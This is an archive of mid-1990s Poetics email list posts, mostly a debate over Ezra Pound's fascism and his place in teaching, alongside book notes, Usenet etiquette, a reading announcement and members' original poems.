>I had no idea that these sounds were the easiest for kids to make first...

My daughter, Alexandra, went through a period at 9 months as she was just beginning to walk, holding onto things, in which she wld repeat over & over "boo-da, boo-da" sometimes plaintively, sometimes matter-of-factly, sometimes laughingly, sometimes seemingly making an observation. . . my friend Robby Bick's daughter repeated "allah, allah" around the same age. . .

Rod

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411. Thomas Bell
Kellog's article and reification
Mon 18 Mar 1996

I have received (thank, Davids) and begun exploring David Kellog's "Desire..." article he recently passed out. While reading I was puzzled and saddened by his comments on desire's apparent growing reification as a noun. My bias as a psychologist and a poet is for process. I see this as possibly a reflection of our current captivity in advertising imagery, sound bites, and conservative rigidity: "...the overwhelming preference more recent poets have for _desire_ in its noun form....poets gravitate toward the potential of the word as a thing...[its] gestural, deictic quality increases its appeal for recent poets who negotiate the Scylla of discourse and the Charybdis of subjectivity. (414)."

I think it was my sense of cultural rigidification that recently led me to initiate a "verbalized noun" renga (collaborative poem - with help from fellow fellow renga qaballists):

Sam friscoed his living space
she has plans to cattle his life savings
for a formering singe to heart my laptop
I could magazine it if you'd creche me
don't apple with me or i'll weeping willow you

until you profound it, you coffee it up
and wetting don't caulk in the whispered
to-be-jointed night, don't phone me
laughter it fretly, soap a mariner

who perimeters the sextant or sextants the
apse he milky ways on the shore on the shore

tom

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412. Aldon L. Nielsen
*Re: _Rethinking C.L.R. James_*
Mon 18 Mar 1996

As Rod indicated, there is much good stuff in this book -- but :: for some reason it reprints Anna Grimshaw's Intro. to the volume of James letters published by the same press (Blackwell) at the same time

:: The Jim Murray essay contains several repeats from earlier publications AND completely misrepresents the essays of other people he talks about (like Selwyn Cudjoe)

:: Grant Farred, in the process of arguing that James is not yet famous enough to be "quotable" proves his point inadvertenly by misquoting James

upshot -- read this one at the library, and spend your money on the volume of letters -- The Ross & Larsen essays are pretty good, but the letters are something to have for your own library -- they are letters written to Constance Webb, who became James's second wife -- he contradicts himself, very well , he contradicts himself,,,, but this book is a wonderful opportunity to watch a writer thinking his way through some of the pressing issues of his day -- he's way off about Muriel Rukeyser, but he's right on the money about so much else --

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413. **Aldon L. Nielsen**

Re: headings

Mon 18 Mar 1996

I'm going to Detroit Saturday & will be in town thru Wed. night -- any Detroit folk on this list in addition to Lyndberg & Watten?

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414. **Ada Aharoni**

Re: Bunting, Pound and Luther King

Mon 18 Mar 1996

Hi!

The most relevant piece of information so far, to my mind, that has been quoted in this discussion concerning Ezra Pound, is Basil Bunting's sincere, outspoken and couragious condemnation of Pound's disgusting Fascism:

> *"Every anti-semitism, anti-niggerism, anti-moorism, that I can recall in history was base, had its foundation in the meanest kind of envy and in greed. It makes me sick to see you covering yourself with that filth. It is not an arguable question, has not been arguable for at least nineteen centuries... it is hard to see how you are going to stop the rot of your mind and heart without a pretty thoroughgoing repudiation of what you have spent a lot of work on."*
> *- Basil Bunting to Pound, 1938.*

> Basil Bunting was wise enough to sense how dangerous, "filthy," "rotten" and twisted Pound's fascist ideas were at the rise of Nazism. I congratulate all those on this list who have expressed the same kind of disgust and fear concerning our own times, and have enough backbone not bend to "peer pressure" and to fashionable "cliches rags."

I am sorry to see that some of us have not learnt enough from history, as "Fascist ideas and fascist poetry pave the road to burning ovens..." After all the self-pitying lame arguments, excuses and repetitions, let's be conscientious enough to bury Ezra Pound after all. Let's rather resurrect Luther King's wise words:

"WHEN BAD MEN PLOT, GOOD MEN MUST PLAN...." (I am sure he meant good women too...)

I suggest we be choosy, and read, teach and spread, in the restricted time that is at our disposal, what can help us build a better culture and a better world toward year 2000, and not drag with us into the new century what can lead us again to gas chambers.

Cheers to Basil Bunting and Luther King! And to all those who do not just toe the line and join the herd, but rather adopt challenging attitudes, and think new, positive, constructive and nourishing thoughts like them...

"For my day is a Pomegranate
full of ruby grains -
as long as each grain
is a lifetime -
I do not care if I'm the woman
of no time ..."

Ada Aharoni

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415. chris daniels

Re: my excesses

Mon 18 Mar 1996

---

hey ---

received a couple of posts today telling me i was sending a bit to much --- i'm sorry for any inconvenience i may have caused and hope that my enthusiasm has somewhat excused my breach of etiquette. in future i will be infinitely more discreet.

later ---

chris

---

christopher daniels <[redacted]> 3.18.96 2:00:32 am

q: "how can you be revolutionary when 20 years ago they
said anything goes?"
--- charles wourinen

a: "free yr mind and yr ass will follow."

--- george clinton

snail: 1474b 7th st berkeley ca 94710 usa
voice: [redacted]
http://users.lanminds.com/~kunos/ (constructing)

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416. a hurricane triggered by butterfly's wings

newsgroup creation policy bogosity

Mon 18 Mar 1996

Sorry for the delay, digest don't ya know.

So then Joe Amato <[redacted]> up and wrote:

> *all: this is from another list, sans original headers... i thought it might be appropriate to post here on poetics... i've decided, with some hesitation, to vote 'no'... my hesitation owing only to my concerns about first amendment issues---BUT voting is established practice for creating usenet groups... ergo the internet decides for itself on the basis of appeal to democratic (voting) practices, w/o intervention in the form of censorship... this touches on the question of how best to deal with fascism etc...*

Folks, as I understand the Usenet voting process, the ONLY valid method of announcing newsgroup votes is the CFV in news.groups. That way, the votes (theoretically, anyway) come from informed sources, and NO votes come from people who object to the group based on traffic or namespace issues (such as redundancy). Any broadcast of the vote to other forums constitutes vote fraud; I've now seen the announcement of this particular vote on three or four newsgroups, which almost certainly guarantees that the group will be created. The authors of the CFV will merely point out that a massive smear campaign was launched against the group in this newsgroup and that newsgroup, and <poof>, all those NO votes get invalidated.

I'm not quite paranoid enough to suspect that the smear campaign against the group was started by one of the groups proponents, nor do I really believe that the newsgroup should be a part of the 'rec.' hierarchy (talk.politics.white-power would be a more appropriate place in the namespace hierarchy for the group, as the proposed charter clearly allows for discussion outside of purely musical issues; further, alt.music.white-power was created over the weekend), but it's pretty much moot now. They'll get their 'rec' group by default. I know you meant well, Joe, but you've acheived the reverse of your intentions by posting this information. Sorry to bear bad tidings.

paul
--
At least we'll know where to find them. Maybe the huge
wandering fascism/libertarian argument will take root in that
newsgroup and free up the rest of the net...nah, who am I kidding.

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417. **Henry Gould**
Re: poetry center info/donations
Mon 18 Mar 1996

On Sat, 16 Mar 1996 10:57:31 +0800 Schuchat said:
>Henry, considering the location ("Cranston near the city line") might I
>suggest you name the poetry center after that son of Providence, Ted
>Berrigan?

Good idea - I'll bring it up at the next meeting. We met day before St. Pat's day & somebody suggested "Wild Geese", after the Irish emigres (Dante liked to call bad poets "geese") - HG

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418. **Scott J Pound**
Re: AN: Aldon Nielsen: BAD
Mon 18 Mar 1996

On Fri, 15 Mar 1996, Aldon L. Nielsen wrote:

> *Derrida's remarks on the reading of Nietzche in his _The Ear of the Other_ have much to offer this discussion that so many are bowing out of --*

As do Nancy's in his essay "Our History," about de Man. The essay appeared in _Diacritics_. I'm not sure which one.

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419. **Michael Boughn**
Re: 16 Oz or (bow outs)
Mon 18 Mar 1996

> *If I look at it: Whitman - Pound - Zukofsky - Olson - (here it explodes into various Black Mountain and L=A=N=G=U=A=G=E people), I can see where the weakest link is in the chain. It is Pound. Compare any part of the Cantos to any part of "A" or Maximus, it really pales in comparison.*

Yeah, but try to imagine _A_ or _Maximus_ in a world without the _Cantos_. Can't be done. You may not like the road, but that's how you get there.

The funny thing is, 30 years ago the attack on Pound came from the New Critics. Part of the courage of Pound's then readers--Duncan, Blaser, Creeley, Olson, Rothenberg, etc.--was their willingness to stand up to that authority's dismissal of Pound as a fascist loony, and insist that there was something essential to be learned in reading this work. Maybe one similarity between the old new critics and new correct critics is that both are more interested in telling other people WHAT to read, rather than helping them augment HOW they read. Read RP Blackmur on Crane (as Thomas Yingling has it) then read Jane Smiley on Twain. Same old same old.

Mike
[redacted]

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420. Paul Naylor
Pound and Zukofsky
Mon 18 Mar 1996

Mike -- you ask if it would be possible to imagine "A" without The Cantos. Barry Ahearn claims in _Zukofsky's "A"_, that Zukofsky "first read the _Cantos_ after completing "A" 1-4, and the rest of the movements [up to "A" 8] were probably too far advanced for drastic change" (76). Hey all you Zukofskyites, is Ahearn right about this? The more I read "A" the less like The Cantos it seems. While I'm on the topic, does anyone know if there's an article or book or posting that identifies all the passages from Marx, Veblen, Adams, etc in "A" 8?

Paul Naylor

MAIL
SEND
in%"[redacted]"
in%"[redacted]"

SEND
in%"[redacted]"
in%"[redacted]"

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421. **David Kellogg**

Re: Kellog's article and reification

Mon 18 Mar 1996

On Sun, 17 Mar 1996, Thomas Bell wrote:

> *I have received (thank, Davids) and begun exploring David Kellog's "Desire..." article he recently passed out. While reading I was puzzled and saddened by his comments on desire's apparent growing reification as a noun. My bias as a psychologist and a poet is for process. I see this as possibly a reflection of our current captivity in advertising imagery, sound bites, and conservative rigidity: "...the overwhelming preference more recent poets have for _desire_ in its noun form....poets gravitate toward the potential of the word as a thing...[its] gestural, deictic quality increases its appeal for recent poets who negotiate the Scylla of discourse and the Charybdis of subjectivity. (414)."*

I must say I agree with this assessment, though I hadn't thought about the word's reification in exactly this way. Do you take the article as contributing to this reification? (Of course I hope not, but I'm open to modification, will be glad to consider yr thoughts). In other words, was I the source of yr sadness & puzzlement? Not my aim at all . . .

As you no doubt see, I read the function of desire in psychoanalysis as secondary -- in a historical sense -- to its use as a code term in the reproduction of poetic value. Not that it doesn't function also as a term of meaning; only that's not my primary concern.

Another notion of reification is implied, I think, in the comparison the article makes between *desire* and other words in earlier poetries. Also, since I focused on desire in some comparatively establishment- oriented poets (Hass & Graham), the reification might be stronger there -- in Hass especialy (I think Graham escapes a bit on this score) -- than in some more radically process-oriented poets.

My observation re: many prefer noun over verb / came after collecting a couple hundred desire-poems. By which I mean, I think it's really & sadly there. Which is not to say poets can't work against it.

Cheers,
David

~~~
~~~

[redacted] Durham, NC 27708
FAX [redacted]

There is some excitement in one corner,
but most of the ghosts are merely shaking their heads.

-- Thomas Kinsella

↑ Index

422. **R I Caddel**
Re: Pound & Man at Yale
Mon 18 Mar 1996

Charles wrote:
> This was the sort of occasion where you'd hear people
> murmuring to one another, "you know, despite it all, maybe Pound
> was right about social credit" (and maybe some other things too).
> Creepy.

- anyone who's been to a Pound Gathering must recognise that scene, and the really creepy bit for me is that so many of the murmurers are young and in other respects bright: young enough to know better, I'd have hoped. The Bunting poem "On The Fly-Leaf Of Pound's Cantos" which John Matthias mentions, as well as recognising that "you will have to go a long way round / if you want to avoid them" does carry a warning:

Fatal glaciers, crags cranks climb,

- but still some folk want to debate that "Pound was right". Heigh-ho.

x x x x Richard Caddel, E-mail: R.I.Caddel @ durham.ac.uk x x Durham University Library, Phone: 0[redacted] x x Stockton Rd. Durham DH1 3LY Fax: 0[redacted]
x x x x "Words! Pens are too light. Take a chisel to write." x x - Basil Bunting
x x x

↑ Index

423. **Rachel Blau DuPlessis**
Re: Pound takes a "Ding" -Returns a "Dong"
Mon 18 Mar 1996

Intersecting circles of critical approaches, and non-intersecting circles. Feminist critics interested in modernism, esp. modern poetries, have talked about Pound's complex use of, interest in, ambivalence to, relation with the women of his generation. Those who want to follow thru on Pound and women might look

at e.g. me, or Rachel Blau DuPlessis, "Corpses of Poesy:some modern poets and some gender narratives of lyric," in Lynn Keller and Cri- stanne Miller, ed. Feminist Measures: Soundings in Poetry and Theory from Univ of Michigan Press, 1995. Although I also appreciate moves to reinvent the wheel mainly because I don't think I have "the wheel," still it's interesting to see that gender and modernism is not currently undiscussed.

↑ Index

424. Mark W Scroggins
Re: Pound and Zukofsky
Mon 18 Mar 1996

Paul: Yes, Ahearn's right, at least according to Zukofsky in his correspondence with Pound--that is to say, he had no idea of _The Cantos_ as large-scale project when he wrote the first movements of _"A"_, tho he'd read some of them in little magazines. There is no exhaustive or less-than-exhaustive tracking of his borrowings in "A"-8--Ahearn's probably as close as you can get, though Sandra Stanley's Zukofsky book from California has interesting material on Z and Adams, and does some clever things with "A"-8. No-one seems terribly interested in doing a Carroll F. Terrell (or George Butterick) on _"A"_, though I believe one of Guy Davenport's grad students traced all the Spinoza material in the poem. At the risk of self-promotion, you might want to check out my edited collection, _Upper Limit Music: The Writing of LZ_, out this summer from U of Alabama P.

Mark Scroggins

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425. Henry
Re: Pound & Man at Yale
Mon 18 Mar 1996

On Mon, 18 Mar 1996 14:58:48 +0000 R I Caddel said:
>Charles wrote:
>> This was the sort of occasion where you'd hear people
>> murmuring to one another, "you know, despite it all, maybe Pound
>> was right about social credit" (and maybe some other things too).
>> Creepy.

On NPR this morning they were talking about new municipal paper money issued in Ithaca, NY - called "Ithaca Hours" (the bills that is) - they said it helps the local barter economy.

Ithaca, no less! Maybe Pound was there too, trying to shoot arrows through axeheads while giving a harangue or something... -- Henry Gould

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426. **Emily Lloyd**
Re: Bunting, Pound and Luther King
Mon 18 Mar 1996

At 12:25 PM 3/18/96 +0300, Ada Aharoni wrote:
I am sorry to see that some of us have not learnt enough from history...After
>all the self-pitying lame arguments, excuses and repetitions, let's be
>conscientious enough to bury Ezra Pound after all. And to all those who do not
>just toe the line and join the herd, but rather adopt challenging attitudes,
>and think new, positive, constructive and nourishing thoughts like them...

Wow. To call people who seem seriously interested in discussing the problem Pound's fascism v. teaching/reading his poetry presents--in grappling with themselves and looking at the issue from all angles-- "self-pitying," "lame" herd-joiners, etc., does not seem new, positive, constructive, or nourishing to me. It is quite odd language from someone clearly concerned with the way language can perpetuate/create animosity. e

~~~~~~
Emily Lloyd [redacted]

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427. **Julie Marie Schmid**
Re: Pound & Man at Yale
Mon 18 Mar 1996

I'm not sure if that book is in print, but his collected works were published recently and I'm fairly sure it was included in there.

On Sun, 17 Mar 1996, chris daniels wrote:

> *charles (or anybody) ---*
>
> *is mac low's book still in print?*
>
> *----------*
> *christopher daniels <[redacted]> 3.17.96 11:49:18 am*
>
> *q: "how can you be revolutionary when 20 years ago they*
> *said anything goes?"*
> *--- charles wourinen (?)*
~~~~~~

> *a: "free yr mind and yr ass will follow."*
>
> *--- george clinton*
>
> *snail: 1474b 7th st berkeley ca 94710 usa*
> *voice:* [redacted]
> *http://users.lanminds.com/~kunos/ (constructing)*

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428. **Joe Amato**
Re: newsgroup creation policy bogosity
Mon 18 Mar 1996

---

paul, thanx for pointing that out, and apologies to the rest of this list...

i had (foolishly) assumed, having been forwarded the voting info., that this was ok... but my lack of experience with usenet (more techno-ignorance---and i've been online steadily for five-six years to boot!) done me in... so mebbe my misgivings were not misgiven...

anyway... thanx again paul for the info and correction...

best,

joe

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429. **Joe Amato**
Re: Kundera
Mon 18 Mar 1996

---

steve, chris and others---thanx much for your subsequent glosses re kundera etc...

listen: much of my experience re relative left's and right's (and steve---you're correct, it's no mean thing to try to speak to experience through politics) is, these days anyway, academically-situated... i won't say that this should be taken as *the* privileged locus of points---there are surely non-academic arts communities for which many of the academic issues seem moot... but i have to assert here that it's much more likely to find oneself debating pound's relative de/merits if one is in an anguish dept. than if one is working at a brewery (i spent four-five years in a brewery, and the autodidacts in this regard were the exception proved the rule)... that many intellectuals in this country have been driven into academic quarters in the past half-century itself reflects a changing political-economic demographics...

put simply: i regard the primary service of the academic institution as teaching, and i regard teaching as a powerful institutional force in this culture (and other cultures)... further, there's simply a lot of controversy these days in educational circles (at all levels, in fact) over what is properly and not properly educational---and this is highly motivated controversy, with lots and lots of dollars behind it... please, ALDON, pipe up, you're better-informed here than me!...

let me say it another way: the discussion hereabouts re pound would NOT be considered pertinent to anguish studies by the powers-that-would-like-to-be-and-may-in-fact-be-the-only-powers-that-be... the powers-that-would-etc. would prefer it were we anguish profs. to discuss such matters in our spare time, among our arcane selves... or, if we must, then devote our teaching time either to (1) skills instruction, in which event pound becomes merely a 'model' writer---this is the preferred mode if pound is to be introduced at all (and this latter would so obviously be so difficult) or (2) art appreciation, in which event pound is seen as one of the giants on whose shoulders we variously reside...

i am not exaggerating about this united-state-of-affairs, and i find it alarming as hell---which is why this issue continues to be my hobbyhorse on poetics whenever the question is raised of how to situate aesthetic practice... there is currently incredible pressure right at this moment to turn curricular and pedagogical realities into mere instructional mechanisms for corporate indoctrination (which btw is not the same as institutional survival)... part of what has compromised the ability of phuds to mount any sustained resistance is the dismal job market (and yes---i understand that this mirrors other dismal economic realities)... at my institution, for example, we recently filled a position for which we had over 400 fully-qualified applicants---applicants with phud, with publications, etc... a hopelessly reductive task, in short, and one that is all too commonplace these days... couple this with an academic-professional tradition that resists talk of collective bargaining and the like and you get something like indentured service as a presumed means of 'accessing' the tenure-track... and the fall-out for teaching and learning is often the loss of any less-than-functional motives, with little institutional leverage to do anything about it...

ergo, i began my "creative writing workshop" this semester (and please do note how the term "workshop" itself plays into this functional grid) by claiming i had NO OBJECTIVES in teaching the class... that students would have to set their own goals, that i simply required certain activities and submissions and participation, these latter sans any teleology, any set point (i am instructing primarily science and technology kids, and i have no majors)... or to put it as my wife kass fleisher does, i am striving for USELESSNESS as an instructor---a difficult thing to attain, and something fully in accord with student-centered theories of education---which are themselves the bane of top-down, expertise-driven, paternalistic corporate practices (which remain resolutely chain-of-command past a

certain managerial level)... note that i abrogate no responsibility in striving for uselessness---it is simply that i redirect my teaching energies toward making students more self-sufficient... which makes me less useful, ysee---a paradox, in short... and to the extent i'm able, i also institute peer review and *grading*, usually with a fair amount of success (and peer grading is formally outlawed at my institution, but students rarely complain)...

anyway, you can imagine how my students reacted... now, at the mid-point of the semester, they would seem, those who are still in the class, finally to be catching on...

again i apologize for going on so... there is, as steve has suggested, truth in kundera's remarks... the difficulty for me comes with the recognition, a cliche perhaps at this late point in the 20th. century, that truth is context-dependent, provisional... which is less to argue against truth as such than to indicate just how important it is to construct and select our truths as carefully as we can...

best,

joe

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430. **tosh berman**
Re: Bunting, Pound and Luther King
Mon 18 Mar 1996

Again, I don't see how we can judge people in such black and white terms. There are so many gray areas. Pound is a jerk, but so what - he is still a fantastic poet. I mean, we can learn so much from "the jerks" out in the world. To bury or burn them - I find that totally fascist in itself.

tosh

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431. **Gwyn McVay**
Ack--the word reified
Mon 18 Mar 1996

's OK to mention publications to this list, right? My chapbook _Brother Ikon_ is available now from Inkstone Press--backchannel me for info.

Gwyn McVay

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432. Maria Damon
Re: Pound & Man at Yale
Mon 18 Mar 1996

thanks charles for your account of the yale deepfreeze. i think i tend to take for granted that the issue of pound's fascism is a dead horse --i'd been deleting the msgs and just read this one cuz i assumed the "man at yale" was harold bloom and wanted to know the scoop. what i learned was important, shocking and helpful. bests, maria d

↑ Index

433. Jerry Rothenberg
Re: more on Pound: query for Jerry R.
Mon 18 Mar 1996

This is in reply to Tenney's query about my own statement that the the most telling impact of Pound's work was on poets who politically, morally, might have been at the greatest distance from it. To start with my own experience -- growing up0 when I did -- the presence of Pound in the late 1940s was, to say the least, a bewilderment. I was stunned by much of the poetry, both by how it read (the language of it) and by what I heard it saying: anti-war & anti-capital & powerful too in its presentation of a way, a means, of approaching & hoping to shape the world through the poet's means, the poetry itself. I was about 16 years old at a first reading of him & shortly thereafter -- along with the reading -- came the awarding of the Bollingen & the tremendous fuss that that stirred up (close to fifty years ago). With that we were aware also of the extent of Pound's fascism &, as became clearer over the years, the viciousness of the anti-semitism in his World War II broadcasts -- a lunacy of language common to the fringe of homegrown fascists who were also in his entourage. My own first published piece of writing was a letter to the New York Post (a different NY Post at that time) in which I lamented what I thought had happened to Pound and what had become (as it still seems to be) a conundrum around the man & the work the man had given us. There was a lot I didn't know then but knowing it would certainly not have made it easier.

I was never, in any sense, a Poundian, since there were too many other threads & lines coming into my awareness to allow a focus (in that sense) on any single individual. But the observation of Pound's impact -- on myself & others -- began shortly after that: the observation that those who were most significantly building on Pound's poetics & actual poetry were not the crazies & the fascist hoods of the John Kasper variety, etc., but poets like Kelly, Olson, Duncan, Mac Low, Blackburn, & before them the whole gallery of "Objectivists" or -- from other directions -- any number of European and Latin American writers -- all of them

(as I understood it) with a political and moral sense (coming out of World War II) that was strongly anti-fascist, strongly in opposition to the totalitarian barbarisms for which Pound (in the years of his fascist infatuation) had become a minor flunky. In their context Pound became, remained a vital force -- the proof, through them, of what was right & germinal about him and the proof, conversely, of what was evil -- & banal in Hannah Arendt's sense -- in his succumbing to the "fascist temptation."

What Pound offered and in some sense made possible wasn't divorced from the political but wasn't at the same time tied to what became HIS politics. It was a demonstration of how the political -- as history -- could enter the body of the poem -- how the poem could thrive on what Ed Sanders (many years later & clearly drawing on Pound) spoke of as "data clusters" defining a new "investigative poetry". I don't need to go on with this, I think, except to note that it was (as far as I can recollect) not the little fascists who learned from this but poets who by disposition and, I believe, commitment were looking for a way out of the fascist & totalitarian nightmare that had threatened to overwhelm our world. And there was also -- stronger in Pound than in most other forerunners in the North American context -- a sense that history & poetry could be redefined, opened up and certainly renewed, and that for this Pound himself (as Charles B., I think, points out in his Pound essays) was a stepping- stone, a guide to things that his fascist leanings would have finally precluded. He was clearly the most extraordinary translator we had by then produced -- not only pointing to Albigensian Provence and to a sense of China speaking to the present, but (coming like Cesaire and the other Negritude poets) from the likes of Frobenius, forming one of the links (but only one) to an African past as a pinnacle, too, of the creative human spirit. It is not to say that this was -- all of it -- of Pound's doing but that he helped to set much of it in motion -- much of what, coming after him & (in some sense in spite of him) -- became essential to our present work.

And, finally, I would point out what was -- for myself & others -- the lesson of Pound's failure -- the lesson of the poet who had in the long run betrayed his poetry. It is a terrible thing to say and it is, I think, a terrible possibility that faces all of us. But it is Pound who also says it best, from the "pull down thy vanity" voice in Canto 81 to the still more telling voice (where he was already into his silence, depression) in Canto 116:

> I have brought the great ball of crystal
> who can lift it?
> Can you enter the great acorn of light?
> But the beauty is not the madness
> Tho' my errors and wrecks lie about me.

And I am not a demigod,
I cannot make it cohere.

I can read this, anyway, as both a confession of failure (and of betrayal -- of himself & us) and at the same time a triumph of whatevr is there speaking through him. But not Pound alone -- for which let me end, Tenney, by copying out (in what's already a long message) a poem by Julien Beck (of the Living Theater, etc. (a good pacifist & anarchist & anti-fascist), who I think loved all the poets that he mentioned in it. It's one too that Pierre and I are hoping to include -- along with a number of others -- in a section of manifestos for the next volume of Millennium.

Julian Beck's "the state will be served / even by poets"

the breasts of all the women crumpled like gas bags when
neruda wrote his hymn celebrating the explosion of a
hydrogen bomb by soviet authorities
children died of the blistrs of ignorance for a century when
siqueiros tried to assassinate trotsky himself a killer
with gun and ice
pound shimmering his incantations to adams benito and
kung prolonging the state with great translation
cut in crystal
claudel slaying tupi guarani as he flourished cultured
documents and pearls in rio de janeiro when he
served france as ambassador to brazil
melville served by looking for contraband as he worked
in the customs house how many taxes did he requite
how many pillars of the state did he cement in
place tell me tell me tell me stone
spenser serving the faerie queene as a colonial secretary
in ireland sinking the irish back for ten times
forty years no less under the beau monde's brack
seneca served by advising nero on how to strengthen the
state with philosophy's accomplishments
aeschylus served slaying persians at marathon and salamis
aristotle served as tutor putting visions of trigonometrics
in alexander's head
dali and eliot served crowning monarchs with their gold
wallace stevens served as insurance company executive
making poems out of profits
euclides da cunha srved as army captain baritoning troops
and d h lawrence served praising the unique potential of
a king

these are the epics of western culture
these are the flutes of china and the east

everything must be rewritten then

goethe served as a member of the weimar council of state
  and condemned even to death

this is the saga of the state which is served

even to death

jr
[redacted]

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434. Steve Carll
Re: Bunting, Pound and Luther King
Mon 18 Mar 1996

Hi yourself, Ada!

Just to start, let me say that I applaud and share your clearly sincere desire to live in a post-fascist world. I also appreciate your observation that we only have so much time, and it's certainly desirable to spend that time immersed in positive, healthy ideas rather than negative hateful ones.

However, I see several very crucial dangers in the approach you suggest in your last three posts on this issue. Fascism works by precisely the kind of projection you seem to be advocating: it's so easy to project it onto a Pound, a Hitler, a Mussolini and divide the world into the bad people and the good people, and think that if the good people bury the bad, we'll have utopia. As soon as enough good people believe this to start carrying it out, they become fascists too. You've already manifested some of this divisiveness by implying that those of us who advocate a different tack on fascism and on Pound than you are somehow spineless, have bent to peer pressure and conformist fashion (but of what sort?), that we're lame and self-pitying (do these sound like Hitler's denunciations of the "degenerates" to anyone besides me?) (Interesting also, that you seem to feel some anxiety at King's omission of women from the words you quoted, and felt the need to fill that space in for him, as if not to wish to acknowledge a possible shortcoming of one of the "good people.")

If we were all automata and could just have fascism programmed out of us, your solution would work great. However, fascism also feeds on negative emotions, and as human beings, we all have negative emotions. It's how we express them that's determinative. If we repress them, if we don't give them healthy outlets, if we make them Unspeakable, we'll end up with fascism. Because we all know

how tempting taboos become. That's why I'm glad I'm not one of your students. Again, I appreciate that you want to give them positive role models, but if you're a positive role model yourself (and I'm certain you are), you should be able to talk them through Pound and have them understand where he goes wrong so they can avoid falling into the same trap. Instead I'm worried that you may have stuck their heads in the sand.

Just to end, let me reiterate that I applaud and share your clearly sincere desire to live in a post-fascist world. I also appreciate your observation that we only have so much time, and it's certainly desirable to spend that time immersed in positive, healthy ideas rather than negative hateful ones. Also, I like the lines of poetry you ended with. I hope you take the time to go back through some of the posts on this subject and try to think through them with compassion for their authors.

Thank you,
Steve

At 12:25 PM 3/18/96 +0300, you wrote:
>Hi!
>
>The most relevant piece of information so far, to my mind, that has been
>quoted in this discussion concerning Ezra Pound, is Basil Bunting's sincere,
>outspoken and couragious condemnation of Pound's disgusting Fascism:
>
>> "Every anti-semitism, anti-niggerism, anti-moorism, that I can recall in
>> history was base, had its foundation in the meanest kind of envy and in
>> greed. It makes me sick to see you covering yourself with that filth. It
>> is not an arguable question, has not been arguable for at least nineteen
>> centuries... it is hard to see how you are going to stop the rot of your
>> mind and heart without a pretty thoroughgoing repudiation of what you
>> have spent a lot of work on."
>> - Basil Bunting to Pound, 1938.
>
>> Basil Bunting was wise enough to sense how dangerous, "filthy," "rotten"
>and twisted Pound's fascist ideas were at the rise of Nazism. I congratulate
>all those on this list who have expressed the same kind of disgust and
>fear concerning our own times, and have enough backbone not bend to "peer
> pressure" and to fashionable "cliches rags."
>
>I am sorry to see that some of us have not learnt enough from history, as
>"Fascist ideas and fascist poetry pave the road to burning ovens..." After
>all the self-pitying lame arguments, excuses and repetitions, let's be
>conscientious enough to bury Ezra Pound after all. Let's rather resurrect

>Luther King's wise words:
>
>"WHEN BAD MEN PLOT, GOOD MEN MUST PLAN...." (I am sure he meant good
>women too...)
>
>I suggest we be choosy, and read, teach and spread, in the restricted time
>that is at our disposal, what can help us build a better culture
>and a better world toward year 2000, and not drag with us into the new
>century what can lead us again to gas chambers.
>
>Cheers to Basil Bunting and Luther King! And to all those who do not
>just toe the line and join the herd, but rather adopt challenging attitudes,
>and think new, positive, constructive and nourishing thoughts like them...
>
>"For my day is a Pomegranate
>full of ruby grains -
>as long as each grain
>is a lifetime -
>I do not care if I'm the woman
>of no time ..."
>
>Ada Aharoni
>
>

↑ Index

435. **tosh berman**

Re: Bunting, Pound and Luther King

Mon 18 Mar 1996

I pretty much agree with Steve on this matter. But I for myself do not believe in Utopia. I think it is impossible to live on this world without pain. Fascism is one form of pain of sorts. I think to ignore fascism is to LATER embrace fascism.

Tosh

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436. cris cheek
Re: dadaists & mamaists
Mon 18 Mar 1996

first word i 'recognised' from my son was 'hello' - somewhere around the ten month mark. 'dust' followed on its heels pretty quickly - like within a week. after that we went back to the goatish laughing gurgle for quite some time.

seemed a clear trajectory to me then - and now.

love and love
cris

↑ Index

437. Tardos Mac Low
Big Allis reading at Segue Space, 23 May 1996
Mon 18 Mar 1996

Melanie Neilson asked to have this updated notice & list posted:

Re: _Big Allis_ #7 publication/ celebration
evening of readings/performances
on Thursday 23 May 1996 7:30 pm
at the Segue Performance Space
303 East 8th Street, New York, New York 10009

Participants:

1. BRUCE ANDREWS
2. ULLA DYDO
3. ROB FITTERMAN
4. KIM ROSENFIELD
5. JULIANA SPAHR
6. JENA OSMAN
7. JOAN RETALLACK
8. ABBY CHILD
9. DEIRDRE KOVAC
10. ELIZABETH FODASKI
11. JEAN FOOS AND DIRK ROWNTREE
12. JACKSON MAC LOW
13. ANNE TARDOS
14. MARTINE BELLEN
15. HANNAH WEINER
16. GAIL SHER
17. PETER SEATON
18. RACHEL CAREAU

and others

Jackson Mac Low (for Melanie Neilson)

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438. Charles Alexander

poems

Mon 18 Mar 1996

Just thought I'd put a couple of new poems here. Hope they come through without awkward codings or other transformations.

CERYTAIN SUHLANTS TWO for Ron Silliman

this man strange turning
forgetful though not in a line
abiding to want oranges and not a color so much as
through the tunnel pushing water
reading a turn into some blue note
ashes brass gate closed but a space under
level or tool for moving
same but shadows upon
brown boxes, books, yellow cat
nothing lists as if breathing matters, crocus
beside, along, otherwise aslant
and stripes, sure, can't away now or want
doing for reach, elbow still
surprises unfurnished, as though
leaving means line break, body
open, callous, asking without rancor
not what keeps
night's premise that points never starry
say what one wall, hearing owls among
rising a single point for
horizon's will, my or their intention
witnessed, ever, walking for
notions, encounters, as fine this hour
a line wants edge, aloof and
strengthened with no idea
ground upon lack turning other to cheeks' sadness
ripe, lively wanting or unstraightened
enough to place in mouth, hand, wash
taste down forks upon nothing
accordingly, original upheaval merges rimless

engraved with Defoe's initials plunging sea-like
concerned with the address of a rose
(static wanders to empty spaces cling true)
suits or untied hair muted
a long time ago a trumpet g-sharp to b, odd sonority
unfounded with an oboe, pierrot, re-beckoning
the border is not necessarily a margin
that gap water permeates / asking
hosannas to be silent / prayer may be received or taken
while sitting, facing wood, politics closed to mourners
another world jumps on fathers / some paragraphs
announcements and justice poses a fable
prayer and the book try to make responsible
deaf or out from under / that space the subsequent (previous)
appearance of children, imperatives, request
the occupation of bare feet, high sounding
in open territory or aware

PLACES IN TOW for Cynthia Miller & Steven Kranz

Certain shifts of continent may be predicted
from unfortunate windfalls coming by the dozens
when all of us beg to be in pantaloons
among apostrophes.
Forget the wind, she said, except
in one's dreams where hairs ride
on saddles among lush thighs, tropical
strivings toward monetary task forces,
philanthropy withstanding, stated dimensions
are questionably produced, framing documents for the
freestanding corners of beds, ring hands until
by virtue of finishing we wander slowly
into wind woven canyons, heart shaped places in tow

Apostles' flowing accomodations, robes for the pilgrims
showing signs of wear, sing only arias, can it
summon meetings of unequal duration, as in
cesura heading for the cliff's edge, walk toward angels
only when dust and secret drawings remember a friend,
